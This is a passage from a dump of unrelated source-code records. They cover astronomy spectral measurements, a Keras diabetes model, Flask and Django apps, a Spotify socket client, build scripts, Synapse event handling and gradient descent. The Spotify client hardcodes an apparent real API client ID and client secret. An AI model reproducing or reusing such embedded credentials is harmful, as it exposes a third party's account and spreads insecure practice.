cosmo\n\n\nclass spec_measurements():\n \"\"\"\n Spectral measurements class initialized\n on a datacube instance.\n Currently measures the HdA and Dn4000\n (as estimated in the MPA-JHU)\n \"\"\"\n def __init__(self,drp_logcube,z):\n \"\"\"\n wave: set of wavelengths the spectrograph spans\n \"\"\"\n\n self.wave = (drp_logcube['WAVE']).data/(1+z)\n self.bandw_HdA = np.logical_and(self.wave > 4083.500,\n self.wave < 4122.250)\n self.bandw_HdA_blueside = np.logical_and(self.wave > 4041.600,\n self.wave < 4079.750)\n self.bandw_HdA_redside = np.logical_and(self.wave > 4128.500,\n self.wave < 4161.000)\n self.blues = len(self.wave[self.bandw_HdA_blueside])\n self.reds = len(self.wave[self.bandw_HdA_redside])\n\n self.blue_wav = np.linspace(3850,3950,100)\n self.red_wav = np.linspace(4000,4100,100)\n\n def tsum(self, xin, yin):\n \"\"\"\n Trapezoidal Sum to estimate\n area under curve\n \"\"\"\n tsum = np.sum(np.abs((xin[1:]-xin[:-1]))*(yin[1:]+yin[:-1])/2. )\n return tsum\n\n def dn4000_red(self,spec):\n interp_spec = interp.interp1d(self.wave,spec)\n d4000_r = np.sum(interp_spec(self.red_wav))\n return d4000_r\n\n def dn4000_blue(self,spec):\n interp_spec = interp.interp1d(self.wave,spec)\n d4000_b = np.sum(interp_spec(self.blue_wav))\n return d4000_b\n\n def dn_4000(self,specs):\n dn_4000 = np.sum([self.dn4000_red(spec) for spec in specs])/np.sum(\n [self.dn4000_blue(spec) for spec in specs])\n return dn_4000\n\n def HdA(self,specs):\n\n spec_av_blueside = np.sum([np.sum(spec[self.bandw_HdA_blueside]) for\n spec in specs])/(self.blues*len(specs))\n spec_av_redside = np.sum([np.sum(spec[self.bandw_HdA_redside]) for\n spec in specs])/(self.reds*len(specs))\n\n a_spec = (spec_av_redside - spec_av_blueside)/(\n (4161.000+4128.500)/2.0 - (4079.750+4041.600)/2.0)\n b_spec = spec_av_blueside - a_spec * (4079.750+4041.600)/2\n\n spec_cont_HdA = self.wave[self.bandw_HdA] * a_spec + b_spec\n mean_dip = np.mean([spec[self.bandw_HdA] for spec in specs])\n\n HdA = self.tsum(self.wave[self.bandw_HdA],\n np.divide(spec_cont_HdA - mean_dip, spec_cont_HdA))\n return HdA\n\n\nclass aperture_measurements():\n \"\"\"\n Aperture/annuli measurements class\n initialized on a fits file.\n \"\"\"\n\n def __init__(self, file, z):\n \"\"\"\n For each datacube, we have:\n NX,NY: the dimensions of the IFU\n flux: in the form of [:,NX,NY]\n x,y: recreating the grid\n radii: gives the radius for any spaxel\n \"\"\"\n self.drp_logcube = fits.open(file)\n self.z = z\n self.NL, self.NY, self.NX = (self.drp_logcube['FLUX']).data.shape\n self.flux = (self.drp_logcube['FLUX']).data\n\n \"\"\"\n IMPORTANT SEMANTICS: The arrays here are in\n spaxel space, i.e.\n 1 unit = 0.5\" or\n a radius of 3 units is really 1.5\" (or 3\" aperture)\n \"\"\"\n\n self.y = np.outer((np.arange(0, self.NX) + 0.5) - (self.NX/2.0),\n np.ones(self.NX))\n self.x = np.transpose(self.y)\n self.grid = np.sqrt((self.y*self.y + self.x*self.x))\n self.radii = np.ravel(self.grid)\n\n def get_radii(self,z_new):\n #gets you the new radii for any redshift\n #radii_new = (1+z_new)*comdis(z_obs)*radii/((1+z_obs)*comdis(z_new))\n radii_new = ((1+z_new)*cosmo.comoving_distance(self.z)*\n self.radii)/((1+self.z)*cosmo.comoving_distance(z_new))\n return np.array(radii_new)\n\n def get_spaxels(self, aperture, z_new):\n \"\"\"\n Getting spaxels within an aperture\n \"\"\"\n spectra = []\n for i in range(self.NX):\n for j in range(self.NY):\n thing = self.flux[:,i,j]\n spectra.append(thing)\n spectra = np.array(spectra)\n\n #In case we wanted all the spaxels\n if aperture == -1:\n return spectra\n else:\n index = np.where(self.get_radii(z_new)<= aperture)[0]\n spaxels_within = spectra[index]\n return spaxels_within\n\n def get_spaxels_annulus(self,aperture,z_new,ring_width):\n \"\"\"\n Getting spaxels within an annulus\n defined by aperture + ring_width\n \"\"\"\n spectra = []\n for i in range(self.NX):\n for j in range(self.NY):\n thing = self.flux[:,i,j]\n spectra.append(thing)\n spectra = np.array(spectra)\n index = np.where(self.get_radii(z_new)<= aperture)[0]\n spaxels_within = spectra[index]\n new_radii =self.get_radii(z_new)[index]\n index2 = np.where(new_radii<=aperture+ring_width)[0]\n return spaxels_within[index2]\n\n def get_spec_measure(self,aperture,z_new,spectral_measure):\n \"\"\"\n Hda/Dn4000/Halpha/(?) within aperture\n \"\"\"\n specs = self.get_spaxels(aperture,z_new)\n if spectral_measure == 'hdelta':\n return spec_measurements(self.drp_logcube,self.z).HdA(specs)\n elif spectral_measure == 'dn4000':\n return spec_measurements(self.drp_logcube,self.z).dn_4000(specs)\n elif spectral_measure == 'all':\n return [spec_measurements(self.drp_logcube,self.z).HdA(specs),\n spec_measurements(self.drp_logcube,self.z).dn_4000(specs)]\n else:\n return False\n\n def get_spec_ann_measure(self,aperture,z_new,ring_width,spectral_measure):\n \"\"\"\n Hda/Dn4000/Halpha/(?) within annulus\n \"\"\"\n specs = self.get_spaxels_annulus(aperture,z_new,ring_width)\n if spectral_measure == 'hdelta':\n return spec_measurements(self.drp_logcube,self.z).HdA(specs)\n elif spectral_measure == 'dn4000':\n return spec_measurements(self.drp_logcube,self.z).dn_4000(specs)\n elif spectral_measure == 'all':\n return [spec_measurements(self.drp_logcube,self.z).HdA(specs),\n spec_measurements(self.drp_logcube,self.z).dn_4000(specs)]\n else:\n return False\n","sub_path":"aperture_spec.py","file_name":"aperture_spec.py","file_ext":"py","file_size_in_byte":6717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"458457977","text":"#!/usr/bin/python\n\nimport sys\nimport re\n\nif len(sys.argv) < 2:\n\tprint(\"Usage: {} filename\".format(sys.argv[0]))\n\texit(1)\n\nfilename = sys.argv[1]\nfp = open(filename, \"r\")\nfor line in fp:\n\tmatch = re.match(\"(\\w+)\\s+(\\d+)\\s+(\\d+)\\s+.*\\s+(\\d+)$\", line)\n\tif match:\n\t\tchrom = match.group(1)\n\t\tchromstart = int(match.group(2))\n\t\tchromend = int(match.group(3))\n\t\toffset = int(match.group(4))\n\t\tsummitstart = chromstart + offset - 500\n\t\tsummitend = chromstart + offset + 500\n\t\tprint(\"{0}\\t{1}\\t{2}\".format(chrom, summitstart, summitend))\n\telse:\n\t\tprint(\"Rejecting line: \" + line)\nfp.close()\n\n","sub_path":"evautils/getsummits.py","file_name":"getsummits.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"322072241","text":"\nimport numpy as np\n#1. 데이터 \nfrom sklearn.datasets import load_diabetes\ndiabetes = load_diabetes()\n\nx = diabetes.data\ny = diabetes.target\n\nprint(x.shape) # (442, 10)\nprint(y.shape) # (442,)\n\nprint(diabetes.feature_names) \n# ['age', 'sex', 'bmi', 'bp', 's1', 's2', 's3', 's4', 's5', 's6']\n\nprint(np.size(x, 1)) # 열의 개수 구하기 : 10\n\n# scatter graph\nimport matplotlib.pyplot as plt\nplt.figure(figsize = (14, 7))\nfor i in range(np.size(x, 1)):\n plt.subplot(2, 5, i+1)\n plt.scatter(x[:, i], y)\n plt.title(diabetes.feature_names[i])\nplt.xlabel('columns')\nplt.ylabel('target')\nplt.axis('equal')\nplt.legend()\nplt.show()\n\n\n\n# x\n#'Sex' one hot encoding\nsex_max = np.max(x[:, 1]) \nsex_min = np.min(x[:, 1])\nprint(sex_max) # 0.0506801187398187\nprint(sex_min) # -0.044641636506989\n\nfor i in range(np.size(x, 0)): # np.size(x, 0) : 의 행의 크기 \n if x[i, 1]==sex_min:\n x[i, 1]=0\n else:\n x[i, 1]=1\n\nplt.figure(figsize = (10, 5))\nplt.scatter(x[:, 1], y)\nplt.title(diabetes.feature_names[1])\nplt.xlabel('S4')\nplt.ylabel('target')\nplt.legend()\nplt.show()\n\n# # 'S4' 0, 1, 2, 3, 4, 5로 분류\n# s4_max = np.max(x[:, -3])\n# s4_min = np.min(x[:, -3])\n# print(s4_max)\n# print(s4_min)\n# term = (0.1- s4_min)/10 \n\n# for i in range(np.size(x, 0)):\n# if x[i, -3] < (s4_min + term):\n# x[i, -3] = 0\n# elif (x[i, -3] >= (s4_min + term)) & (x[i, -3] < (s4_min + term*2)):\n# x[i, -3] = 1 \n# elif (x[i, -3] >= (s4_min + term*2)) & (x[i, -3] < (s4_min + term*3)):\n# x[i, -3] = 2\n# elif (x[i, -3] >= (s4_min + term*3)) & (x[i, -3] < (s4_min + term*4)):\n# x[i, -3] = 3 \n# elif (x[i, -3] >= (s4_min + term*4)) & (x[i, -3] < (s4_min + term*5)):\n# x[i, -3] = 4 \n# else:\n# x[i, -3] = 5\n\n# plt.figure(figsize = (20, 10))\n# plt.scatter(x[:, -3], y)\n# plt.title(diabetes.feature_names[-3])\n# plt.xlabel('S4')\n# plt.ylabel('target')\n# plt.legend()\n# plt.show()\n\n\n# scaler\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler()\nscaler.fit(x)\nx = scaler.transform(x)\n\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x, y, random_state =100, \n train_size = 0.8)\n\n# x1\nx_train1 = x_train[:,:4]\nx_test1 = x_test[:, :4]\n\n# x2\nx_train2 = x_train[:,4:]\nx_test2 = x_test[:, 4:]\n\n\n#2. model\nfrom keras.models import Model\nfrom keras.layers import Dense, Dropout, Input\n# 1\ninput1 = Input(shape =(4, ))\ndense1 = Dense(80, activation = 'relu')(input1)\ndesen1 = Dropout(0.2)(dense1)\ndense1 = Dense(100, activation = 'relu')(dense1)\ndesen1 = Dropout(0.2)(dense1)\n\n# 2 \ninput2 = Input(shape = (6, ))\ndense2 = Dense(100, activation = 'relu')(input2)\ndesen2 = Dropout(0.2)(dense2)\ndense2 = Dense(150, activation = 'relu')(dense2)\ndense2 = Dropout(0.2)(dense2)\ndense2 = Dense(100, activation = 'relu')(dense2)\n\n# concentrate\nfrom keras.layers.merge import concatenate \nmerge1 = concatenate([dense1, dense2])\nmiddle1 = Dense(300, activation='relu')(merge1)\nmiddle1 = Dense(100, activation='relu')(middle1)\nmiddle1 = Dense(50, activation='relu')(middle1)\n\n# output\noutput1 = Dense(1, activation = 'relu')(middle1)\n\nmodel = Model(inputs =[input1, input2], outputs = output1)\n\n\n# callbacks\nfrom keras.callbacks import EarlyStopping, TensorBoard, ModelCheckpoint\n# earlystopping\nes = EarlyStopping(monitor = 'val_loss', patience = 50, verbose = 1 )\n# tensorboard\nts_board = TensorBoard(log_dir = 'graph', histogram_freq = 0,\n write_graph = True, write_images = True)\n# modelcheckpotin\nmodelpath = './model/{epoch:02d}-{val_loss:.4f}.hdf5'\nckpoint = ModelCheckpoint(filepath = modelpath, monitor = 'val_loss',\n save_best_only = True)\n\n\n#3. complie, fit\nmodel.compile(loss = 'mse', optimizer = 'adam', metrics = ['mse'])\nhist = model.fit([x_train1 ,x_train2] ,y_train, epochs = 100, batch_size = 64,\n validation_split = 0.2, verbose =2,\n callbacks = [es])\n\n#4. evaluate, predict\nloss, mse = model.evaluate([x_test1, x_test2], y_test, batch_size = 64) \nprint('loss: ', loss)\nprint('mse: ', mse)\n\ny_pred = model.predict([x_test1, x_test2])\n\n# RMSE\nfrom sklearn.metrics import mean_squared_error\nrmse = np.sqrt(mean_squared_error(y_test, y_pred))\nprint('RMSE: ', rmse)\n\n# R2\nfrom sklearn.metrics import r2_score\nr2 = r2_score(y_test, y_pred)\nprint('R2: ', r2)\n\n# graph\nimport matplotlib.pyplot as plt\n# 1\nplt.subplot(2, 1, 1)\nplt.plot(hist.history['loss'], c= 'cyan', marker = 'o', label = 'loss')\nplt.plot(hist.history['val_loss'], c= 'red', marker = 'o', label = 'val_loss')\nplt.title('loss')\nplt.xlabel('epoch')\nplt.ylabel('loss')\nplt.legend()\n# 2\nplt.subplot(2, 1, 2)\nplt.plot(hist.history['mse'], c= 'cyan', marker = '+', label = 'mse')\nplt.plot(hist.history['val_mse'], c= 'red', marker = '+', label = 'val_mse')\nplt.title('mse')\nplt.xlabel('epoch')\nplt.ylabel('mse')\nplt.legend()\n \nplt.show()\n\n\"\"\"\nloss: 2634.910324953915\nmse: 2634.910400390625\nRMSE: 51.33137897972557\nR2: 0.5041594238716269\n\"\"\"\n","sub_path":"keras/keras79_diabetes_dnn.py","file_name":"keras79_diabetes_dnn.py","file_ext":"py","file_size_in_byte":5122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"21960407","text":"from flask import Flask, render_template, request\nimport torch\nfrom torch.utils.model_zoo import load_url\nfrom seq2seq.models import Img2Seq\nfrom seq2seq.tools.inference import CaptionGenerator\nimport numpy as np\nfrom seq2seq.datasets.pix2codedataset import Pix2CodeDataset\nimport logging\nimport re\nimport os\nimport cv2\n\napp = Flask(__name__)\n\ncheckpoint = load_url(\n 'model_best.pth.tar', model_dir=\"results/pix2code_devsupport_resnet50_finetune/\", map_location={'gpu:0': 'cpu'})\nmodel = Img2Seq(**checkpoint['config'].model_config)\nmodel.load_state_dict(checkpoint['state_dict'])\nimg_transform, target_tok = checkpoint['tokenizers'].values()\nbeam_size = 3\ncaption_model = CaptionGenerator(model,\n img_transform=img_transform,\n target_tok=target_tok,\n beam_size=beam_size,\n get_attention=True,\n max_sequence_length=250,\n length_normalization_factor=5.0,\n cuda=True,\n length_normalization_const=5)\ndset = Pix2CodeDataset(\"/home/vigi99/devsupportai_ui_gen/eval_set\")\n\n\ndef sample(dset, caption_model, index=None):\n sample_index = np.random.choice(len(dset)) if index is None else index\n sample_img_filename = dset.file_names[sample_index] + \".png\"\n sample_img, sample_target = dset.get_sample(sample_index)\n predicted_target, attentions = caption_model.describe(sample_img)\n return (sample_img, sample_img_filename), sample_target, predicted_target.decode('utf-8').split(' '), attentions\n\n\ndef return_list_with_tabs(li):\n elems = map(lambda x: x.replace(\"\\\\n\", \"\\n\").replace(\"\\\\t\", \"\\t\"), li)\n return ' '.join(elems)\n\ndef get_np_array_from_file_object(file):\n '''converts a buffer from a tar file in np.array'''\n return np.asarray(bytearray(file.read()), dtype=np.uint8)\n\n@app.before_first_request\ndef setup_logging():\n if not app.debug:\n # In production mode, add log handler to sys.stderr.\n formatter = logging.Formatter(\n \"[%(asctime)s] {%(pathname)s:%(lineno)d} %(levelname)s - %(message)s\")\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n app.logger.addHandler(handler)\n app.logger.setLevel(logging.INFO)\n\n\n@app.route(\"/\")\ndef random_example():\n (img, img_fname), target, predicted, attentions = sample(dset, caption_model)\n img_fname = re.sub(r'^.*eval_set','/static', img_fname)\n actual_text = return_list_with_tabs(target)\n predicted_text = return_list_with_tabs(predicted)\n app.logger.info('ImageFile: %s, Actual Text: %s, Predicted Text: %s ', img_fname, target, predicted)\n return render_template('index.html', img_filepath=img_fname, actual_text=actual_text, predicted_text=predicted_text)\n\n@app.route(\"/upload\", methods=['GET', 'POST'])\ndef upload_example():\n predicted_target = ''\n if request.method == 'POST':\n file = request.files['uploaded_image']\n img = cv2.imdecode(get_np_array_from_file_object(file), 1)\n img = cv2.resize(img, (256,256))\n predicted_target_list, attentions = caption_model.describe(img)\n predicted_target = return_list_with_tabs(predicted_target_list.decode('utf-8').split(' '))\n return render_template('upload.html', text=predicted_target)\n\nif __name__ == \"__main__\":\n app.run()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"436718008","text":"import socket\n\n__author__ = 'rom gvili'\n\nimport webbrowser\nimport spotipy\nfrom os import path\nimport spotipy.util as util\nimport sys\nimport keyboard\nimport time\n\n\ndef current_milli_time():\n return int(round(time.time() * 1000))\n\n\ndef isPlaying():\n try:\n if spoyifyObj.currently_playing()[\"is_playing\"]:\n return True\n return False\n except:\n return False\n\n\ntrackLists = []\naddress = '127.0.0.1'\nport = 8000\nbsize = 1024\nscope = 'playlist-modify-public streaming user-modify-playback-state user-read-playback-state user-read-currently-playing'\nname = input(\"enter username \")\ntry:\n try:\n if path.exists(f\".cache-{name}\"):\n file = open(f\".cache-{name}\")\n text = file.read()\n text= text[270:401]\n token = spotipy.SpotifyOAuth.refresh_access_token(text)\n\n except:\n token = util.prompt_for_user_token(name, scope,\n client_id='221e9a5fac5c4f40bb2de9c33ce7a863',\n client_secret='8c5e85b7165840bbb605b43924952889',\n redirect_uri='http://google.com/')\nexcept ConnectionError:\n webbrowser.open('https://imgur.com/a/zZ3OW0f')\n sys.exit()\nspoyifyObj = spotipy.Spotify(auth=token)\nuser = spoyifyObj.current_user()\n\n\ndef ChooseDevice():\n global device\n devices = spoyifyObj.devices()\n devices = devices['devices']\n try:\n devices[0]\n except:\n return False\n print(\"your devices:\\n\")\n for device in devices:\n print(device['name'])\n name = input(\"enter device name \")\n for devic in devices:\n if devic['name'] == name:\n device = devic\n return True\n return False\nif ChooseDevice()==False:\n print(\"please open spotify on the desired device and connect\")\n time.sleep(5)\n while ChooseDevice()==False:\n time.sleep(5)\ndisplayName = user['display_name']\nFollowers = user['followers']['total']\nprint(\"welcome to spotipy \" + displayName)\nprint(\"you have \" + str(Followers) + \" followers\")\n\nclientSocket = socket.socket()\nclientSocket.connect((address, port))\nprint(clientSocket.recv(bsize).decode('UTF8'))\nx = clientSocket.recv(34).decode('UTF8')\n\nprint(x)\nif \"T\" in x:\n track = clientSocket.recv(69).decode('UTF8')\n pos = clientSocket.recv(bsize).decode('UTF8')\n print(track)\n print(pos)\n spoyifyObj.start_playback(device['id'], None, [track], None,current_milli_time()-int(pos)+200)\n print(\"welcome to the room \" + displayName)\nelse:\n print(\"welcome to the room,youre the first visitor\")\n clientSocket.send(\"song is done\".encode())\n trackurl = []\n trackurl.append(clientSocket.recv(bsize).decode('UTF8'))\n print(trackurl)\n spoyifyObj.start_playback(device['id'], None, trackurl)\n while(isPlaying()==False):\n pass\n print(\"x\")\nwhile (True):\n time.sleep(5)\n print(\"if you'd like to add a song press esc!\")\n while isPlaying()!=False:\n if keyboard.is_pressed(\"esc\"):\n artistName = input(\"enter an artist name \")\n results = spoyifyObj.search(artistName, 1, 0, \"artist\")\n artist = results['artists']['items'][0]\n print(artist['name'] + \" has \" + str(artist['followers']['total']) + \" followers , and his genre is \" +\n artist['genres'][0])\n webbrowser.open(artist['images'][0]['url'])\n artistId = artist[\"id\"]\n trackUri = []\n trackArt = []\n z = 1\n albums = spoyifyObj.artist_albums(artistId)\n albums = albums['items']\n for item in albums:\n print(\"album : \" + item['name'])\n albumId = item['id']\n albumArt = item['images'][0]['url']\n trackResults = spoyifyObj.album_tracks(albumId)\n trackResults = trackResults['items']\n for item in trackResults:\n print(str(z) + \": \" + item['name'])\n trackUri.append(item['uri'])\n trackArt.append(albumArt)\n z = z + 1\n print()\n songSelection = input(\"enter song to add to Queue\")\n try:\n clientSocket.send(trackUri[int(songSelection) - 1].encode())\n print(clientSocket.recv(bsize).decode())\n print(\"if you'd like to add a song press esc!\")\n except:\n print(\"Ivalid song number\")\n print(\"if you'd like to retry press esc!\")\n print(\"a\")\n clientSocket.send(\"song is done\".encode())\n track = clientSocket.recv(bsize).decode()\n if \"!\" in track:\n track = track[0:36]\n pos = track[38:]\n print(pos)\n spoyifyObj.start_playback(device['id'], None, [track],None,pos)\n else:\n print(track)\n spoyifyObj.start_playback(device['id'], None, [track])\n while(isPlaying()==False):\n pass\n\n# clientSocket.send(str(i).encode())\n# data = clientSocket.recv(bsize)\n# data=data.decode('utf8')\n","sub_path":"client 1.2.py","file_name":"client 1.2.py","file_ext":"py","file_size_in_byte":5064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"53043443","text":"import os\nimport sys\nimport platform\n\nsys.path.insert(0, '../awtk/')\nimport awtk_config as awtk\n\nAPP_ROOT = os.path.normpath(os.getcwd())\nAPP_SRC = os.path.join(APP_ROOT, 'src')\nAPP_BIN_DIR = os.path.join(APP_ROOT, 'bin')\nAPP_LIB_DIR = os.path.join(APP_ROOT, 'lib')\nRES_ROOT = awtk.TK_DEMO_ROOT.replace(\"\\\\\", \"\\\\\\\\\")\nTK_JS_ROOT = os.path.normpath(os.getcwd())\nTK_JS_3RD_ROOT = os.path.join(TK_JS_ROOT, '3rd')\n\nos.environ['APP_SRC'] = APP_SRC;\nos.environ['APP_ROOT'] = APP_ROOT;\nos.environ['BIN_DIR'] = APP_BIN_DIR;\nos.environ['LIB_DIR'] = APP_LIB_DIR;\n\nTK_JS_JERRYSCRIPT_DIRS = [\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-ext/include'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-ext/arg'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-ext/common'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-ext/debugger'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-ext/handler'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-ext/module'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/include'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/ecma'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/ecma/base'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/ecma/builtin-objects'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/ecma/operations'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/jcontext'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/jrt'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/parser'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/parser/js'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/parser/regexp'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/vm'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/api'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/debugger'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/lit'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/jmem'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/profiles'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-port/default/include'),\n os.path.join(TK_JS_3RD_ROOT, 'jerryscript/jerry-core/ecma/builtin-objects/typedarray'),\n]\n\nAPP_LIBS = ['assets', 'jerryscript', 'mvvm']\nAPP_LIBPATH = [APP_LIB_DIR]\nAPP_CPPPATH = TK_JS_JERRYSCRIPT_DIRS + [APP_SRC]\nAPP_CCFLAGS = '-DRES_ROOT=\\\"\\\\\\\"'+RES_ROOT+'\\\\\\\"\\\" '\n\nDefaultEnvironment(\n CPPPATH = APP_CPPPATH + awtk.CPPPATH,\n LINKFLAGS = awtk.LINKFLAGS,\n LIBS = APP_LIBS + awtk.LIBS,\n LIBPATH = APP_LIBPATH + awtk.LIBPATH,\n CCFLAGS = APP_CCFLAGS + awtk.CCFLAGS, \n OS_SUBSYSTEM_CONSOLE=awtk.OS_SUBSYSTEM_CONSOLE,\n OS_SUBSYSTEM_WINDOWS=awtk.OS_SUBSYSTEM_WINDOWS)\n\nSConscript(['3rd/SConscript', 'src/SConscript', 'demos/SConscript', 'tests/SConscript'])\n\n","sub_path":"SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"94499584","text":"# coding: utf-8\nfrom django.db import models\nfrom products.models import Product\n\n\nPAYMENT_TYPE = (\n (1, u\"Bankslip\"),\n (2, u\"Credit Card\"),\n (3, u\"Debit\"),\n )\n\nGENDER = (\n (0, u\"Male\"),\n (1, u\"Female\")\n)\n\n\nclass Order(models.Model):\n date = models.DateField(auto_now_add=True, verbose_name=u'Date added')\n payment_type = models.PositiveSmallIntegerField(\n verbose_name=u'Payment Type', default=None,\n choices=PAYMENT_TYPE, blank=True, null=True)\n email = models.EmailField(verbose_name=u'Email', null=True)\n delivered = models.BooleanField(verbose_name=u'Delivered', default=False)\n total_value = models.DecimalField(\n verbose_name=u'Total Value', max_digits=11, decimal_places=2)\n gender = models.NullBooleanField(\n verbose_name=u'Gender', choices=GENDER,\n null=True, blank=True, default=None)\n\n def __unicode__(self):\n return str(self.id)\n\n\nclass OrderItem(models.Model):\n class Meta:\n verbose_name, verbose_name_plural = u\"Order Item\", u\"Order Items\"\n\n order = models.ForeignKey(Order)\n product = models.ForeignKey(Product)\n quantity = models.PositiveSmallIntegerField(verbose_name=u'Quantity sold')\n value = models.DecimalField(\n verbose_name=u'Value', max_digits=11, decimal_places=2)\n total = models.DecimalField(\n verbose_name=u'Total', max_digits=11,\n decimal_places=2, blank=True, default=0)\n\n def save(self, *args, **kwargs):\n self.total = self.quantity * self.value\n super(OrderItem, self).save(*args, **kwargs)\n\n\nclass OrderProxy(Order):\n class Meta:\n verbose_name, verbose_name_plural = u\"Report Order\", u\"Report Orders\"\n proxy = True\n\n\nclass ProductProxy(Product):\n class Meta:\n verbose_name, verbose_name_plural = (u\"Report Order Item\",\n u\"Report Order Items\")\n proxy = True\n","sub_path":"example/orders/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"136438172","text":"# -*- coding: utf-8 -*-\n# Copyright 2014 OpenMarket Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom synapse.api.events.room import (\n RoomTopicEvent, MessageEvent, RoomMemberEvent, FeedbackEvent,\n InviteJoinEvent, RoomConfigEvent, RoomNameEvent, GenericEvent,\n RoomPowerLevelsEvent, RoomJoinRulesEvent, RoomOpsPowerLevelsEvent,\n RoomCreateEvent, RoomAddStateLevelEvent, RoomSendEventLevelEvent\n)\n\nfrom synapse.util.stringutils import random_string\n\n\nclass EventFactory(object):\n\n _event_classes = [\n RoomTopicEvent,\n RoomNameEvent,\n MessageEvent,\n RoomMemberEvent,\n FeedbackEvent,\n InviteJoinEvent,\n RoomConfigEvent,\n RoomPowerLevelsEvent,\n RoomJoinRulesEvent,\n RoomCreateEvent,\n RoomAddStateLevelEvent,\n RoomSendEventLevelEvent,\n RoomOpsPowerLevelsEvent,\n ]\n\n def __init__(self, hs):\n self._event_list = {} # dict of TYPE to event class\n for event_class in EventFactory._event_classes:\n self._event_list[event_class.TYPE] = event_class\n\n self.clock = hs.get_clock()\n self.hs = hs\n\n def create_event(self, etype=None, **kwargs):\n kwargs[\"type\"] = etype\n if \"event_id\" not in kwargs:\n kwargs[\"event_id\"] = \"%s@%s\" % (\n random_string(10), self.hs.hostname\n )\n\n if \"ts\" not in kwargs:\n kwargs[\"ts\"] = int(self.clock.time_msec())\n\n # The \"age\" key is a delta timestamp that should be converted into an\n # absolute timestamp the minute we see it.\n if \"age\" in kwargs:\n kwargs[\"age_ts\"] = int(self.clock.time_msec()) - int(kwargs[\"age\"])\n del kwargs[\"age\"]\n elif \"age_ts\" not in kwargs:\n kwargs[\"age_ts\"] = int(self.clock.time_msec())\n\n if etype in self._event_list:\n handler = self._event_list[etype]\n else:\n handler = GenericEvent\n\n return handler(**kwargs)\n","sub_path":"synapse/api/events/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"31175594","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport time\n\n## A measure of error: mean square error\ndef calculate_MSE(theta,data):\n total_square_error = 0.0\n for i in range(len(dataset)):\n total_square_error += (theta[0]+theta[1]*data[i,0]-data[i,1])**2\n return total_square_error/len(dataset)\n\n## Not useful in the process, just for the sake of completeness\ndef cost_function():\n total_square_error = 0.0\n for i in range(len(dataset)):\n total_square_error += (theta[0]+theta[1]*data[i,0]-data[i,1])**2\n return total_square_error/2\n\ndef theta_monitor(theta,j):\n if(j%100==0):\n print(\"theta_0: {0:f}, theta_1: {1:f}\".format(theta[0],theta[1]))\n\n## Use gradient decent to minimize the error\ndef batch_gradient_decent(theta,data,learning_rate=1e-5,number_of_steps=5000,threshold=None):\n for j in range(number_of_steps):\n partial_derivative_sum = [0.0,0.0]\n theta_error=[0.0,0.0]\n for i in range(len(dataset)):\n partial_derivative_sum[0] += data[i,1]-theta[0]-theta[1]*data[i,0]\n partial_derivative_sum[1] += (data[i,1]-theta[0]-theta[1]*data[i,0])*data[i,0]\n theta_error[0] = learning_rate*partial_derivative_sum[0]\n theta_error[1] = learning_rate*partial_derivative_sum[1]\n theta[0] += theta_error[0]\n theta[1] += theta_error[1]\n theta_monitor(theta,j)\n\n if((threshold is not None) and (theta_error[0] 0:\n return JsonResponse({'status': 'Teacher has the same subject'},\n 